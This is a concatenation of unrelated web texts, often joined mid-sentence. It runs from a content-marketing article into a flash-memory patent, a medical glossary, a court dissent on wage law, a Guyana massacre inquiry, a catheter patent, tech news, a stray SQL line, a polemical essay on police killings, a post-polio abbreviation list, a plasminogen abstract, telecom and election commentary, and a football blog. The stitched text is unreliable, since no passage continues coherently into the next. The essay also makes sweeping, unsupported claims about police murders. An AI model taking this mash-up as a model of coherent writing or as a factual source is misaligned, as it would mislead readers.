prepared for our consumers about HTML and CSS. Neil Patel, one of the most influential marketers in the world, is an example of how to reach success by publishing educational content. I think the most immediate example I can show you of how tutorials and educational content can help you captivate your audience, is this article that you’re reading. While you read me right now, I’m trying to teach you something valuable to help you reach your goals. That creates a particular connection between us, right? 🙂 3. Infographics Everyone loves infographics. They are easy to read and share, while visually very attractive (if you read them correctly). In fact, Neil Patel has written that it’s possible to duplicate your traffic online, creating infographics. Yes, you read that right. Here is an example of a successful infographic from Copyblogger that has generated more than 264.000 shares through different social networks (Facebook, Twitter, Pinterest, among others) and it keeps generating traffic despite being published over five years ago. (Yes, infographics can have a long life.) 4. Interviews Interviews of outstanding people in your industry (and also those who love your services and products) and influencers that could add value to your audience are an excellent way to increase your credibility and expand your scope. That’s why it’s not a surprise that top bloggers like Tim Ferris, still interview other leaders regularly. 5. Lists A study made by Co.Design revealed what should be obvious for all of us: lists work well on the internet. This is why at 1Entity we have published several articles that consist of lists, such as:Disk-drive (or hard-drive) memory systems are being replaced with solid-state memory systems utilizing flash-memory technology. Compared to hard-drive systems, flash-memory systems offer the reliability of semiconductor-based memory along with less energy consumption and smaller size. While significant in-roads have been made in replacing hard-drives in consumer-based products such as in laptop computers, few of the hard-drives in enterprise-level systems have been replaced with solid-state drives for a variety of reasons. The most notable reason is the incompatibility of the file system

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Normal body fluid pH (i.e., hydrogen ion concentration), which must be narrowly regulated for proper body functioning. Acidosis : A condition in which body fluids become too acidic (see *alkalosis*). Active transport : The transfer of substances (i.e., molecules or *ions*) across a cell membrane from a lower to a higher concentration, thus requiring energy expenditure. Alcohol dehydrogenase : An *enzyme* that breaks down alcohol. Alkalosis : A condition in which body fluids become too alkaline (see *acidosis*). Allele : One of two or more variants of a *gene*. Different alleles for a gene serve the same function (e.g., code for a *protein* that affects a person's eye color) but may result in different *phenotypes* (e.g., blue eyes or brown eyes). Amino acids : The building blocks of *proteins*. Some amino acids also function as *neurotransmitters*. Ammonia : A neurotoxic chemical compound that is formed in the body primarily as a product of *protein* metabolism. Anemia : A blood condition in which the number of functional red blood cells is below normal. Anterior pituitary : A small gland at the base of the brain that is controlled by the *hypothalamus* and which manufactures hormones influencing many organs in the body. Antibody : A *protein* that is produced by *B cells* in response to, and which interacts with, an *antigen*. Antidiuretic hormone (ADH) : A hormone produced in the *hypothalamus* and released from the posterior pituitary gland in response to dehydration; plays an important role in regulating fluid excretion. Antigen : Any substance that is recognized by *B cells* or *T cells* and stimulates them to initiate an immune response. Antioxidants : Chemicals (e.g., glutathione and vitamins A and E) that prevent certain destructive chemical processes in cells. Apoptosis : A series of chemical reactions within a cell that are induced by various events and which result in the cell's death. Atherogenesis : The development of *atherosclerosis*. Atherosclerosis : A disease of the arteries in which fatty plaques accumulate on the arteries' inner walls, usually leading to narrowing and "hardening" of the arteries and eventually obstructing blood flow. Atrial fibrillation : A loss of coordinated contraction that occurs in one or both of the upper chambers of the heart, resulting in rapid and irregular heart and pulse rates. Atrophy : Wasting away, or shrinkage, of tissue; caused by cell death rather than shrinkage of individual cells. B lymphocyte (B cell) : A type of *white blood cell* that originates in the bone marrow and is distributed throughout the blood and *lymphoid tissues*. B cells produce *antibodies* when stimulated by the appropriate *antigens*. Basal ganglia : A group of nerve cell structures at the base of the brain that are involved in motor control. Catalyst : Any substance that facilitates a chemical reaction and which does not undergo a permanent chemical change itself. Catecholamines : A group of physiologically active substances with various roles in the functioning of the sympathetic and central nervous systems. Cell-mediated immune response : An immune response provided by the direct actions of immune system cells (primarily *T cells*), as opposed to an immune response mediated by *antibodies* (i.e., *humoral immune response*). Cellular toxin : A toxin that is released from a cell; also called *endotoxin*. Cerebellum : The brain structure at the base of the brain that is involved in the control of muscle tone, balance, and sensorimotor coordination. Cerebral cortex : The intricately folded outer layer of the brain, composed of nerve-cell bodies and gray matter, that covers the *cerebrum*. The cerebral cortex contains areas for processing sensory information and for controlling motor functions, speech, higher cognitive functions, emotions, behavior, and memory. Cerebrum : The largest portion of the brain; includes the cerebral hemispheres (see *cerebral cortex* and *basal ganglia*). Chemokines : Small *proteins* secreted by immune cells that can attract other immune cells to the tissue site where the chemokines are produced. Chemokines play a role in *chemotaxis*. Chemotaxis : The directed movement of a cell in response to a stimulus, such as a *chemokine*. Cholesterol : A fatlike substance that is an important component of cell membranes and is the precursor of many steroid hormones and bile salts. High cholesterol levels are associated with coronary artery disease. Cholesteryl ester : The product of a reaction between *cholesterol* and an organic acid. Cholesteryl ester transfer protein (CETP) : A compound that transports *cholesteryl esters* from high density lipoproteins to *low density lipoproteins* for eventual removal from the blood. Complement : A group of *proteins* circulating in the blood that are either bound to *antigen* and activated by *antibodies* or are activated by molecules found on the surface of some bacteria. Complement activation results in the attraction of *phagocytes*, the release of chemicals that amplify immune responses, and the destruction of invading bacteria. Cortisol : A *glucocorticoid* produced by the adrenal gland that helps regulate metabolism. Cytochrome : An *enzyme* that detoxifies foreign compounds. Cytokine : A molecule that regulates cellular interaction and cellular functions. Cytokines are produced and secreted by a variety of cells, including immune cells. Diencephalon : The area of the brain consisting of the *thalamus*, which is the brain's relay center to the *cerebral cortex*, and the *hypothalamus*. Differentiation : A developmental process during which cells become increasingly specialized and acquire new characteristics and functions. Diuretic : An agent that increases urine production. Diuresis : Increased urine production. DNA : The abbreviation for deoxyribonucleic acid, a molecular component of chromosomes that encodes the genetic information in all organisms except some viruses. DNA molecules usually consist of two strings of *nucleotides*. Down-regulation : A decrease in the number or sensitivity of *receptors* as a regulatory mechanism to compensate for increased activation of the receptors. Eicosanoids : The physiologically active substances derived from arachidonic acid (i.e., the prostaglandins, *leukotrienes*, and *thromboxanes*). Electrolyte : A substance that breaks down into electrically charged *ions* when dissolved in solution. Electrolytes are essential to physiological functioning. Embolism : The obstruction of a blood vessel by a blood clot or other substance (e.g., a fat droplet) that has been transported through the bloodstream from another part of the body. Endothelin : An extremely potent vasoconstrictor (i.e., agent that causes narrowing of the blood vessels). Endotoxin : A potent toxin contained in the cell walls of bacteria found in the intestine; it is released when a bacterium dies and is broken down. Enzyme : A *protein* that directs and accelerates (i.e., catalyzes) chemical reactions in the body, such as the breakdown of complex molecules into simpler ones, but does not itself undergo permanent change. Epithelium : The cell layer(s) covering the body's organs and lining the vessels, body cavities, glands, and organs. The epithelia of different organs consist of different types of cells. Extracellular fluid : All fluids outside the cells, including the noncellular portion of blood (i.e., plasma). Ferritin : An iron-containing compound that regulates the storage and transport of iron in the cells. Fibrin : An insoluble *protein* that forms the basis of a blood clot by linking with similar molecules in a fibrous meshwork. It is the ultimate product in the process of coagulation. Fibrinolysis : Dissolution of a blood clot through digestion of *fibrin* by *plasmin*. Fibrosis : Formation of scar tissue. Folic acid : A vitamin of the B group that is essential for cell growth, cell division, and the absorption of nutrients from the intestines. Free radicals : Highly reactive molecules that are incapable of existing in a free state for a prolonged period. Gene : A string of *nucleotides* that directs the synthesis of a *protein*. Genotype : The genetic makeup of an individual organism. Glomerulus

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upon us to decide an arguable retroactivity issue. Under 29 U.S.C. § 255, an employee's right of action against his employer for underpayment of minimum wages accrues upon the employer's violation of the FLSA. Cf. Unexcelled Chem. Corp. v. United States, 345 U.S. 59, 65, 73 S.Ct. 580, 97 L.Ed. 821 (1953) ("We conclude that `the cause of action accrued'... when the minors were employed."); Riley v. Dow Corning Corp., 767 F.Supp. 735, 743 (M.D.N.C.1991) (stating a plaintiff's claim under the FLSA accrued when he was denied his proper wage), aff'd, 986 F.2d 1414 (4th Cir.1993) (unpublished table decision). Thus, the Hotel Workers' rights of action against Decatur because of its alleged FLSA violations accrued in 2005 and early 2006; and the workers timely brought this suit on August 16, 2006. The DOL's interpretation of the regulations that foreign temporary workers' visa, transportation and recruitment costs were for the employer's benefit was the same then as it is now. Thus, we are not required to choose between two different interpretations of the regulations in this case. Moreover, as noted above, the DOL's decisions to, at times, not enforce its interpretations of its regulations, in no way altered the meaning or import of those interpretations, which created a right for the Hotel Workers to have the expenses at issue in this appeal reimbursed. 29 C.F.R. § 790.18(a). The cases cited by the majority opinion, Bradley v. School Board of Richmond, 416 U.S. 696, 715-17, 94 S.Ct. 2006, 40 L.Ed.2d 476 (1974) (holding that "an appellate court must apply the law in effect at the time it renders its decision," unless such application would work a manifest injustice or there is statutory direction or legislative history to the contrary), and Landgraf v. USI Film Products., 511 U.S. 244, 286, 114 S.Ct. 1483, 128 L.Ed.2d 229 (1994) (holding that provisions of the Civil Rights Act of 1991 creating a right to recover compensatory and punitive damages for certain violations of Title VII, and providing for trial by jury if such damages are claimed, did not apply to Title VII case pending on appeal when the statute was enacted on retroactivity grounds), are inapposite to this case. [29] Wage and Hour Division, U.S. Dep't of Labor, Field Assistance Bulletin No. 2009-2, at 9, 11 n. 5 (2009), available at http://www. dol.gov/whd/FieldBulletins/FieldAssistance Bulletin2009_2.htm. [30] The majority also argues the 1986 letter should be ignored because it was a "post hoc rationalization" of the agency's position, unworthy of deference under Auer. Majority Op. 402 n.10 (citing Auer, 519 U.S. at 462, 117 S.Ct. 905). It is unclear why the majority thinks this out-of-context quotation from Auer is applicable to the 1986 letter. The language from Auer reflected the Court's concern with whether and when it should defer to an agency position adopted for the purposes of the litigation at bar, not with providing deference to an agency position taken decades before the present litigation was initiated. Auer, 519 U.S. at 462, 117 S.Ct. 905 (noting that the fear of agency "post hoc rationalization" was in response to the Court possibly deferring to an agency amicus brief submitted in the case at bar, not deferring to prior agency interpretations (alteration omitted)). Moreover, the notion that the 1986 letter was developed in response to litigation appears baseless. The citations in the letter are to a District Court for the District of New Jersey judgment entered in October 1979, more than seven years before the letter was written. See Wage-Hour Opinion Letter, dated Nov. 28, 1986 (citing Marshall v. Glassboro Serv. Ass'n, Inc., No. 78-377, 1979 WL 1989 (D.N.J. Oct. 19, 1979)). In a further effort to discredit the 1986 letter, the majority also falls back on some of its earlier platitudes, arguing the letter should be disregarded because it addressed H-2A, not H-2B, workers and it is "doubtful that even the most diligent employer could have readily accessed" the letter to know his or her responsibilities and thus might "not know the amount" he or she was required to pay the employees. Majority Op. 402 n.10. However, as described above, the H-2A/H-2B distinction drawn by the majority is a false one, in no way supported by the majority's citations or analysis. Moreover, as already noted, an employer need not have relied upon the letter to discern its employees' rights to reimbursement for transportation, visa and recruitment expenses, as there were numerous other interpretations and regulations supporting employees' rights to the reimbursements sought in the instant case. The majority's concern that the minimum wage might be difficult to calculate is of no moment. Majority Op. 402 n.10. The FLSA imposes a minimum wage requirement upon the defendants-employers and it must be satisfied. Internet Radio Lindo Creek Inquiry: Detective saw pile of burnt bones, flesh Retired Guyana Police Force Detective Sergeant, Clemsford Burnette on Thursday testified spotting a pile of burnt human remains and important documents at Lindo Creek, Upper Berbice River in June 2008. “On checking, I found there were human remains. There were skeleton bones, parts of skull and a kind of flesh that wasn’t burnt properly,” he said under questioning by the Commission’s lawyer, Patrice Henry. At the first public hearing before the one-man Commission of Inquiry being presided over by Retired Justice Donald Trotman, the former policeman recalled being instructed by his superior officers to join a party of police and soldiers to go to Lindo Creek. There, he said he saw two mining camps a short distance from a dredge. At one of the camps, surrounded by trees, he said there was a pile of burnt human remains about one foot high and eight feet wide. Also found at the scene, according to Burnette, were one 7.62 live round and four 7.62 x 39 mm spent shells, one sledge hammer, one Scotiabank bank card, one birth certificate bearing the name Barry Lloyd Patrick Harry, a burnt passport whose details could not have been recognised, and a national identification card. Owner of the Lindo Creek mining camp, Leonard Arokium on June 21, 2008 discovered burnt skulls and other skeletal remains of several persons there. When results of DNA tests had been returned years later from Jamaica, it confirmed that those killed were Dax Arokium, his brother Cedric and workers- Compton Speirs, Horace Drakes, Clifton Wong, Lancelot Lee, Bonny Harry and Nigel Torres. The Detective Sergeant said he later accompanied Trinidadian and Jamaican teams of experts. Among the things, he said, the Jamaican team had found was a wedding band. Autopsies, he said, were conducted in the absence if relatives, and he could not say if they had been notified. Questioned by Commissioner Trotman, Burnette said it was usual for relatives to be informed about autopsies but in that case he could not say whether any of them had been told. At that time, Senior Superintendent Reid was in charge. After the bodies had been taken to Lyken Funeral Parlour, he said he reported to his superior then Senior Superintendent Edgar Thomas. The Lindo Creek inquiry is the first in a series of such probes that is planned into various massacres and extra-judicial killings during the 2002-2009 period that President David Granger has described as the “troubles”.This invention relates in general to intravascular catheters and more particularly to a catheter that is inserted into and through blood vessels for the purpose of injecting radiopaque substances to aid in the imaging of blood vessels and organs. Such catheters are called angiographic catheters. It is known to incorporate a soft tip in the leading or distal end of these catheters to avoid injury to the walls of the blood vessels. The body of the catheter, however, has to be relatively stiff to withstand the pressure of the radiopaque material being delivered through the catheter and to provide enough torqueability so that the tip, usually curved, can be directed through the blood vessel. A known type of soft tip catheter is disclosed in U.S. Pat. No. 4,563,181 issued on Jan. 7, 1989 to Wijayarathna and Hopkins. The patent provides a useful description of the prior art and of the need for the combination of a soft tip portion and a stiff body portion. To properly locate the catheter in the patient, it is important that the distal end of the catheter be sufficiently radiopaque so as to make it readily visible on the fluoroscopy screen. Polymer materials and in particular nylons of great structural strength have become available which make it possible to design very thin wall catheters to withstand high pressure without bursting. Pressures of up to 1,200 psi have to be withstood by the catheters in use. Because of these very thin wall sections, it is now possible, to produce a 5 French catheter with inside diameters that exceed the inside

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of Carrington Road and Doran Drive. The station is located right next to its namesake ‘Castle Hill Showground’, the location will provide better access to rapid transit services by train for people living, working and visiting the area. Minister for Transport and Infrastructure Andrew Constance said the North West Rail Link will provide a significant boost to capacity across the rail network. "From the end of the project at Chatswood, rapid transit services will continue under Sydney Harbour, through new stations in the CBD and west to Bankstown," Mr Constance said. The North West Rail Link is ahead of schedule with services to start in the first half of 2019, delivering a train every four minutes in the peak. The North West Rail Link Tunnelling work involves 30km of tunnels to be cut by four Tunnel Boring Machines. It includes twin 15km tunnels from Bella Vista to Epping, these will be Australia's longest railway tunnels.First up is a US$349 Google Play edition of LG's G Pad 8.3 tablet which has an 8.3 inch 1920x1200 display and Snapdragon 600 SoC, while there's 16 GB of internal storage, and a microSD slot. It’s only available in the US, however. Next is a Google Play edition of the Xperia Z Ultra available for US$649 in the US, while bringing up the rear is a special edition white Nexus 7, which will be on sale in the US, UK, and Japan. Apple switches on iBeacons Apple has switched on its iBeacon tracking system in 254 Apple Stores in the US, promising to end the misery of getting lost in a shop (and to bombard you with information and offers, if you agree to let it). The system, which communicates with iOS devices via Bluetooth Low Energy (which means it works with all iPhones since the 4S and all iPads since 2), is able to tell Apple gadget-toting shoppers exactly where to go, directing them to individual products on shelves, and even show them custom messages on nearby screens. It's not in the UK just yet, and Apple hasn't outlined plans to bring it over. Perhaps that's a good thing.INSERT INTO ReportSeverityUserSettings VALUES (NULL, @RequiredReport_ID, @UserName, @Severity, 'True' );Click here to edit title. Click here to edit title. WHITE PRIVILEGE DOESN’T FEAR PLATITUDES WHICH IS WHY BLACK LIVES DO NOT MATTER Last week, Eric Harris, an unarmed black man, fled when the Tulsa police jumped out of their car, guns drawn. Less than a minute later, Eric Harris lay face down on the ground bleeding and crying out “oh shit man, he shot me, he shot me! Oh, he shot me!” One Tulsa police officer puts his knee on Harris’s head and tells Harris to “shut the fuck up.” Then, when Harris moans “I’m losing my breath,” another Tulsa police officer says, “fuck your breath.” The cop turns and smiles at Robert Bates, the 73-year-old insurance executive and wealthy supporter of the sheriff’s department who shot Harris. One hour later, Eric Harris was pronounced dead. Like Otis Byrd and Lennon Lacey, Eric Harris was another victim of a premeditated lynching. Eugene Stovall, Oakland, California, April 16, 2015 Visiting Oakland on Thursday, April 9, 2015, Cornel West recalled the death of Oscar Grant at the hands of a BART police officer in 2009. West then discussed the recent murder of Walter Scott, the unarmed black man, shot dead by a police officer in Charleston, South Carolina. West then asks the rhetorical question: When Will Black Lives Matter? And in response, his largely Negro audience assembled at Allen Tenple Baptist Church bobs their heads up and down and made muttering sounds that some hoped might be taken as words of wisdom. The assembled audience which included Oakland’s clergy were happy with the outpouring of pious platitudes and even happier that no one dared to question why America’s first “black” president and his “black” attorney general has not done anything about the serial killings that have been the hallmark of the Obama administration. “PLATITUDES ARE ALL THEY EXPECT OF ME…” In the 1984 movie, Mass Appeal, Jack Lemmon plays Father Tim Farley, the likeable pastor of an affluent suburban Catholic Church. By delivering folksy homilies filled with practical advice and funny jokes, Father Tim maintains a close relationship with his congregation while adhering to diocesan policies governing his pastoral duties. Sidestepping issues that might make his congregation uncomfortable, Father Tim was known for his repertoire of charm, harmless white lies, and inane jokes. With his repertoire platitudes, Father Tim kept well within the boundaries of what his bishop and his congregation expected the pastor.When a young seminarian criticizes his pastor for failing to take on a controversial issue impacting his congregation, Father Tim retorts that platitudes are all that are expected of him. The preachers attending Cornel West’s Allen Temple lecture would also agree that platitudes are all that is expected of them ___ and very little more. MAKING AMERICA A 'WHITE MAN'S COUNTRY' According to Lacy Ford, professor of history at the University of South Carolina, the wrenching journey from Old South to New finds its continuity in the timeless commitment of white southerners to the common cause of white supremacy. Lacy insists that the theme of southern history is one of resolve, indomitably maintained, that the South and, indeed, the entire United States is and shall remain a white man's country. Hunter Wallace, a popular right wing blogger, explains: Virginia was a White Republic. South Carolina was a White Republic. Kentucky was a White Republic. Alabama was a White Republic. The Confederacy was a league of White Republics.The Ku Klux Klan fought to overthrow Reconstruction and restore the White Republic. The White Citizens’ Councils sprung up in the 1950s to fight integration and to preserve and defend the White Republic.From 1865 until 1965, Dixie was the “White Republic” within the United States. The 14th Amendment was nullified here and the Democratic Party was explicitly the party of white supremacy. Occidental Dissent.com Throughout its history, America has been maintained as a white man’s country ____ even during the presidency of a Negro. And white rule has been maintained through America’s distinct tradition of violence. In his inaugural speech, Governor George Wallace recalled for his supporters the fight their forefathers waged when the South was attacked by carpetbagger and federal troops. Nigras wanted to have the same rights as white men, Wallace reported. “Our forefathers won then and now it is our turn to fight.” Indeed, over the past fifty years, the deadly struggle over full rights of citizenship has been expanded all over the United States. White arch-segregationists have chosen a cadre of Negro leaders and placed them in academia, political offices and most importantly in the pulpit to support the policy of white privilege. With support of their Negro servants, whites have a declared policy not negotiate, but to infiltrate, intimidate and assassinate. During the month of March, alone, white policemen have murdered over a hundred people. So confident is white supremacy in its power that when Otis Byrd, a black man, was found hanging on a tree near his home in Port Gibson, Mississippi, the white press echoed the official line of the Justice Department: Otis Byrd was not a victim of a lynching, he committed suicide. When the body of Otis Byrd was found hanging from a tree near his home in Port Gibson, Mississippi, on March 19, 2015, Obama’s Justice Department under a ‘lame duck’ attorney general, working with Mississippi’s County Sheriff, issued a preliminary finding that the black man lynched himself. Quickly ordering the black man’s body cremated, the Mississippi Sheriff announced that the family and friends of Otis Byrd needed to be patient and allow the authorities do their job. “Do not feed into the foolishness and hearsay,” the sheriff said. Just because a black man is found hanging from a tree does not mean he was lynched. Addressing this travesty, Claiborne County Supervisor Edwin Smith said: "I'd like to apologize on behalf of the county. These people deserve action. We've been disrespected. If they can look at a satellite and get your tag number, we can surely get some closure on this." But this is merely a 21st century platitude. It is exactly what the Negro leaders will repeat and their followers will believe ___ Negro leaders something to say. The Negroes want closure, not justice. They want the lynching of Otis Byrd to be swept away;

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be elucidated and successful individualized management strategies are needed to maintain mobility, independence, and patient autonomy. There is striking a paucity of neuroimaging studies in PPS that could provide anatomical insights into the substrate of extra-motor symptoms. Ultimately, the characterization of PPS-associated pathology may help research efforts in other motor neuron diseases. Author Contributions {#s5} ==================== The manuscript was drafted by SL and PB. The manuscript was edited, adjusted, and reviewed for intellectual content by RC, EF, DM, and OH. Conflict of Interest Statement ------------------------------ The authors declare that the research was conducted in the absence of any commercial or financial relationships that could be construed as a potential conflict of interest. Peter Bede and the Computational Neuroimaging Group are supported by the Health Research Board (HRB--Ireland; HRB EIA-2017-019), the Andrew Lydon Scholarship, the Irish Institute of Clinical Neuroscience (IICN)--Novartis Ireland Research Grant, the Iris O\'Brien Foundation, and the Research Motor Neuron (RMN--Ireland) Foundation. 101-PNR : 101- point numeric rating 10MWT : 10-meter walk test 2MWT : 2-minute walk test 6MWT : 6-minute walk test ALS : Amyotrophic lateral sclerosis BDI : Beck depression inventory BiPAP : Bilevel positive airway pressure CAS : cytokine analysis study CBT : Cognitive behavioral therapy CK : Creatine kinase CMAP : Compound muscle action potential CMV : Controlled mechanical ventilation CSE : Clinical study extension CSF : Cerebrospinal fluid CSF-MC : cerebrospinal fluid mononuclear cells ELISA : Enzyme-linked immunosorbent assay EMG : Electromyography ESS : Epworth sleepiness scale FIS : Fatigue impact scale FSS : Fatigue severity scale FVC : forced vital capacity HDsEMG : High density surface electromyography HHD : hand-held dynamometry IASP : International Association for the Study of Pain IBM-FRS : Inclusion body myositis functional rating scale IPAP : inspiratory positive airway pressure KAFO : Knee ankle foot orthosis LIC : lung insufflation capacity LVR : Lung volume recruitment MAF : Multidimensional assessment of fatigue MD : Myotonic dystrophy MEP : Maximal expiratory pressure MFI-20 : Multidimensional functional inventory MFM scale : Motor function measurement scale MIP : Maximal inspiratory pressure MMPI : Minnesota multiphasic personality inventory MRC : Medical Research Council Scale for muscle strength MRI : Magnetic resonance imaging MRS : Magnetic resonance spectroscopy MUAP : Motor unit action potential MV : Minute ventilation MVA : Maximal voluntary activation MVC : Maximal voluntary contraction MVIC : Maximal isometric voluntary contraction NHP : Nottingham health profile NIPPV : Nasal intermittent positive pressure ventilation NIV : Non-invasive ventilation OSA : Obstructive sleep apnea PASE : Physical activity of the elderly PBMC : peripheral blood mononuclear cells PCF : unassisted peak cough flow PFS : Piper fatigue scale PFT : Pulmonary function test PLMS : Periodic limb movements of sleep PPL : Polio problem list PPS : Post-polio syndrome PV : Polio virus qMRI : quantitative magnetic resonance imaging QMT : Quantitative motor test rCT : randomized controlled trial RDBPC : Randomized double-blind placebo controlled REE : resting energy expenditure RLS : Restless leg syndrome RNA : Ribonucleic acid RQ : respiratory quotient RR : respiratory rate RT-PCR : Reverse transcription polymerase chain reaction rTMS : Repetitive transcranial magnetic stimulation S-SFEMG : Single fiber electromyography stimulation SF-36 : 36-item short form survey SFEMG : Single fiber electromyography SFQ : Short fatigue questionnaire SIP : Sickness impact profile SIPP : Self-reported impairments in persons with late effects of polio *SMN* gene : Survival motor neuron gene SNIP : Sniff nasal inspiratory pressure SSS test : Sit-stand-sit test tDCS : Transcranial direct current stimulation TQNE : Turf\'s quantitative neuromuscular examination TUG test : Timed-Up-and-Go test UW-SES : University of Washington self-efficacy scale VAS : Visual analog scale VAS-F : Visual analog scale for fatigue VCO~2~ : carbon dioxide production VO~2~ : oxygen consumption WBV : Whole body vibration WHOQOL-BREF : World Health Organization quality of life abbreviated scale. [^1]: Edited by: Francesca Trojsi, University of Campania, Luigi Vanvitelli Caserta, Italy [^2]: Reviewed by: Andrea Romigi, Mediterranean Neurological Institute (IRCCS), Italy; Louisa Ng, The University of Melbourne, Australia [^3]: This article was submitted to Neurodegeneration, a section of the journal Frontiers in Neurology Characterization of plasminogen variants in healthy subjects and plasminogen mutants in patients with inherited plasminogen deficiency by isoelectric focusing gel electrophoresis. Plasmin(ogen) plays an important role in fibrinolysis and wound healing. Severe hypoplasminogenemia has recently been linked to ligneous conjunctivitis. Plasminogen (plg) is known as a polymorphic protein and most of these variants have been identified using isoelectric focusing (IEF) gel electrophoresis. Here, we studied common plg variants from healthy subjects and plg mutants from three patients with hypoplasminogenemia and three subjects with dysplasminogenemia by molecular genetic analysis and IEF. Analysis of 24 healthy subjects showed that subjects with the most common IEF plg phenotype A (n=12) were homozygous for aspartate at position 453 (453D), while both subjects with IEF plg phenotype B were homozygous for asparagine at this position (453N). Subjects with IEF plg phenotype AB (n=10) were compound-heterozygous for 453D/453N. Three patients with severe hypoplasminogenemia and different plg gene mutations exhibited characteristic "abnormal" IEF band patterns when compared with IEF plg phenotypes A and B. In all heterozygous family members the observed IEF plg phenotype was derived from the wild type plg molecule only, probably due to low concentration of the mutant plg molecule in plasma. In contrast, in three unrelated subjects with heterozygous dysplasminogenemia an equal "mixture" of wild type and mutant plg was found by IEF analysis. In conclusion, plg phenotyping by IEF in combination with molecular analysis of the plg gene seems to be a useful method for characterization of plg variants and mutants.In September 2015, star defenceman P.K. Subban announced his support for sick children and their families when he and his foundation committed 10 million dollars to the Montreal Children’s Hospital. To date, this is the largest philanthropic commitment by a professional athlete in Canada. As a spokesperson, donor and board member, P.K. Subban’s impact on the Hospital is beyond measure. Projects funded by P.K.’s Helping Hand help over 9,000 families a year. Join P.K.’s team! What you will help support: Housing for out-of-town families Parking Meal vouchers Gift cards for groceries and other basic expenses Extraordinary financial aid for families facing serious hardships. Support for expensive medical necessities not covered by the government: costly medication, home equipment and supplies for kids with respiratory problems, bone

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Opera Software to bring a customized Opera Mini browser to Bharti Airtel’s subscribers. Bharti has presence in 20 countries across Asia and Africa, this deal will allow Bharti and Opera to offer a co-branded and customized browser for Bharti subscribers. Opera Mini uses unique-proxy-server based technology to compress data by upto 90% and thereby decreasing the data costs. Airtel offers 2G, 3G and 4G data services in India. It has 2G plan with 30 days validity at Rs 98, 1GB free data. Similar 3G plan will give 500MB data for Rs 250 for 30 days. For Airtel this technology makes a lot of sense as both the carrier and users will be able to save lot on transfer. Airtel will be able to tout this to attract new customers and eventually increase the data subscribers list. For users who are on tight budgets this is very useful to keep the data costs minimal. Opera Mini is already available for smartphones and feature phones, this deal will help Opera to increase its presence in India more. I use Opera on both my Android and iPhone, the start page of Opera already shows Airtel Live pages links from quite some time. Opera Mobile browsers are quite popular and is the most popular web browser as of writing this post, it lost it’s position to Android robot browser in March first time and regained and going neck to neck to now.Syndication: This CalBuzz article says Democrats in the California legislature may introduce a bill (or amend another election law bill to add a new provision) soon to provide that initiatives, no matter when they are submitted, will not appear on the June primary ballot. Instead they would wait and be placed on the November ballot. The rationale is that initiatives should be on the ballot that draws all voters to the polls. Democrats believe that the June 2012 primary ballot in California will have low turnout from Democrats, but high turnout from Republicans, because the Republican presidential primary will theoretically be exciting but the Democratic presidential primary will not be exciting. Therefore, the voters who show up in June would be skewed. The June 2012 primary will also contain U.S. Senate, U.S. House, and legislature, but again, in 2012, the U.S. Senate race is likely to be more exciting for Republican voters than for Democratic voters, because incumbent U.S. Senator Diane Feinstein is running for re-election and no Democrat with any support is expected to enter the race against her. California currently is the only state, or almost the only state, that ever permits statewide initiatives to appear on a primary ballot. There is a possibility of referendums on the redistricting plans. If the petitions are sufficient the law is suspended until after the election on the referendum. Without legislative districts, legislators can’t be elected. The governor could always call a statewide special election to be coincident with the primary. Maybe the Democrats could close their presidential primary, no reason to risk independents embarrassing the president. Please Governor Brown, please don’t throw us Republicans in that Top 2 briar patch all by ourselves. Can someone start recalling these politicians? Those who author these bills need to be recalled. Let us start with Mike Gatto. This little tyrant wants to do away with initiative process. Check his website and video.http://www.asmdc.org/members/a43/ It is time battle these politicians or we will loose what little we have in this state. The proposal to stop counting the primary election as a statewide general election for purposes of voting on initiatives and referenda would be perfectly reasonable if (1) it didn’t have any effect on initiatives that had already been submitted for title and summary at the time of its effective date; and (2) some mechanism were provided by which initiative proponents could demand that a statewide special election be called in order to consider their initiative (which might be consolidated with a statewide primary election). As it is now, the only mechanism for getting a special election called to consider ballot measures is convincing the governor to call one, by bribes, threats and/or cogent arguments. For initiatives at the city or county level, proponents can require that a special election be called by asking for it and collecting more signatures. The rumored plan by legislative Democrats to prevent initiatives from being voted on at the June 2012 primary election is sneaky and underhanded, but so were the maneuvers by right-wing initiative proponents to get their initiatives that they hope to pass on a June ballot in which they expect a lower and more conservative turnout than for the November election. Why else did the legislative Republicans go along with moving the Presidential primary election back from February to June, even though it will probably make California Republicans less influential in their party’s nominating process? In any case, the Democrats have a somewhat more straightforward way to make June 2012 less friendly to right-wing initiatives. If they convince Dianne Feinstein to retire (and it really is about time, regardless of what you think of her politics; if she runs and is reelected, she’d be 85 at the end of her next term), then there will almost surely be a hotly contested primary for the open Senate seat, and the statewide voter turnout will not be so skewed to the right (especially if the Republican presidential nomination is decided before the June primary). Thank you so much for covering this important issue. It is interesting that you’re highlighting that California is the only state where initiative and referendum votes are included in primary elections. The League of Women Voters of California is conducting a significant study of the initiative and referendum process. Our state study committee has formed; if you’re interested in this issue, we encourage you to think about joining a local League and participating in the study. Join one of the most trusted grassroots, volunteer-driven organizations in our state to encourage active and informed participation in democracy and make a real difference in our state. The League of Women Voters of Washington state long ago studied top-two election systems, and determined to oppose the top-two system in that state. In fact, the League of Washington state authored the ballot pamphlet argument against top-two in the 2004 Washington state election. Is it time for the California League to study top-two. In fact that is way overdue.Like many of you, I use a streaming service for most of my music these days. My service of choice happens to be Spotify.* One of my favorite features of Spotify is the custom playlists you can save and stream on any of your devices. Perhaps the most listened to playlist I have created is called “Dad Songs.” It consists of all the classic rock I grew up listening to, mostly because it was what my dad listened to. Hence the name. I play it all the time because it works for almost any audience. Today’s music can be almost as divisive as today’s politics; not so with “Dad Songs.” Everyone knows and enjoys most of the playlist. It may not be everyone’s favorite music, but nobody ever yells “UGH I HATE THIS SONG, CHANGE IT!” either. There are currently just under 500 songs on the playlist. The most featured artist by far is Tom Petty, who sadly passed away this week. So if you notice an underlying theme in this week’s preview, now you’ll know why. * = This is NOT a sponsored post—but if Spotify wants to throw a few free months of Premium my way for this free advertising, I wouldn’t be against it. You Wreck Me, Minnesota Vikings. Just when I thought the Vikings were on their way to grinding out an important divisional home win over the Detroit Lions and move to 3-1 on the year, we saw the knee of Dalvin Cook Breakdown. Detroit pounced on the fumble caused by Cook’s ACL tear, took the lead on the ensuing drive, and that all-too-familiar sensation of another season Free Fallin’ was suddenly back. Whenever fans of other teams try to console me about the latest devastating non-contact knee injury to strike down a Vikings star, my response is always the same: You Don’t Know How It Feels. Every year, I think just maybe, that We Stand A Chance. And then the terrible injury luck rears its ugly head and I’m thrown Straight Into Darkness again. We’re suddenly back to Square One. Ugh. I Should Have Known It. Don’t Do Me Like That, injury bug! Don’t Come Around Here No More! I 